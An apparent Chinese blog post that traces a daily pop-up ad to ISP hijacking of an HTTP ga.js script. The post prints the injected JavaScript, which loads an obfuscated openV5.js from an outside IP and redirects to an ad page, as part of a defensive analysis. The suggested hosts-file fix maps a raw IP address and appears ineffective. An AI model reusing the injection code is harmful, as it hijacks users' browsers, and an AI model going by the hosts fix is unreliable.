现象
每天第一次登录QQ的时候的,浏览器就会自动打开,gd.189.cn的一个广告页面,特别烦如图呐
调查
通过抓取有登录数据包和分析包的数据。
其实和QQ没多大关系。
* QQ的登录与验证通地udp完成。
* 首次登录QQ弹出dailynews。(我用的是没广告的国际版)
* dailynews中包含一个www.google-analytics.com的ga.js
* 由于是普通的http。isp修改了这个ga.js。如下
var _open_v5_ = new Object;
_open_v5_.arrivalstat = 'http://172.18.18.6:81/stat.aspx?p=1446126023|5783462|72962|0|0|0';
_open_v5_.stat = 'http://125.88.131.11:81/stat/img.php?p=1446126023|5783462|72962|0|0|0¶m=ABioyajZGekprCz8jKys/MyM7JzcjOv87JzNGYm9mPkJOWnIaWm8LIzcbJzdmejZqenJCbmsLLy8/Mz8/ZjJCKjZyaio2TwoiIiNGYkJCY';
_open_v5_.expires = 10;
_open_v5_.param = "800|600|9";
_open_v5_.oldurl = 'http://www.google-analytics.com/ga.js?cHVzaA=72962';
_open_v5_.url = 'http://gd.189.cn/biz/push/201510/1027/sxts.htm?p=1446126023|5783462|72962|0|0|0¶m=ABioyajZGekprCz8jKys/MyM7JzcjOv87JzNGYm9mPkJOWnIaWm8LIzcbJzdmejZqenJCbmsLLy8/Mz8/ZjJCKjZyaio2TwoiIiNGYkJCY';
window.setTimeout(function() {
var a = document.createElement("script");
a.src = _open_v5_.oldurl;
document.getElementsByTagName("head")[0].appendChild(a);
}, 0);
window.setTimeout(function() {
var
a = document.createElement("script");
a.src = "http://121.15.207.29:1010/openV5.js?r=" + Math.random();
document.getElementsByTagName("head")[0].appendChild(a);
}, 0);
- 这段代码就是插入了它的一个openV5的js(看这名字就晓得是做坏事的)
- 但为了不影响ga.js工作,还是加入了原代码用
oldurl
来标识的。 http://121.15.207.29:1010/openV5.js
下个js是返回的加密混淆的内容,暂没有分析是什么。(有想分析的,我可以提供)- 然后我的弹出中的地址就是
_open_v5_.url
中的内容,openv5就是一个重定向到这个地址的操作。 - 上面只是通过抓包来看的,为了验证猜想,我在浏览器中打开做了一个检验。
验证
- 在chrome中打开
http://passport.imqq.com/App/Today/index.php
(dailynew的页面) 出现弹出。
用 f12查看请求数据。
- 上面红色框起来的就是劫持的ga.js,下面蓝色的是正常的ga.js。
后序
- 我搜索了下那个ip(
121.15.207.29
)。的确别人也有这个情况。 - 如屏蔽深圳电信的网页劫持
- 如磨房怎么成了诱骗网站
解决方法
- 最简单的一种就是把这地址定位到一个无效的地址上去。改下hosts就做到了
- 打开
C:\Windows\System32\drivers\etc\hosts
文件。 - 在最底部增加一行
127.0.0.1 121.15.207.29
保存。
总结
- 之前isp(当然只是背锅的)修改百度广告的js 来攻击gibub。如何评价百度广告代码和统计代码被劫持攻击 GitHub 的事件
- 这个原理来类似,只是做了做了小弹窗而已。
- isp是我们数据的提供者,所有有流量都经过它,只能假设他会是一个中间人攻击者。
- 尽量使用https,不安装未知根证书,如12306的那个。
- 选一些有节操的vpn提供商, 把isp 绕过去。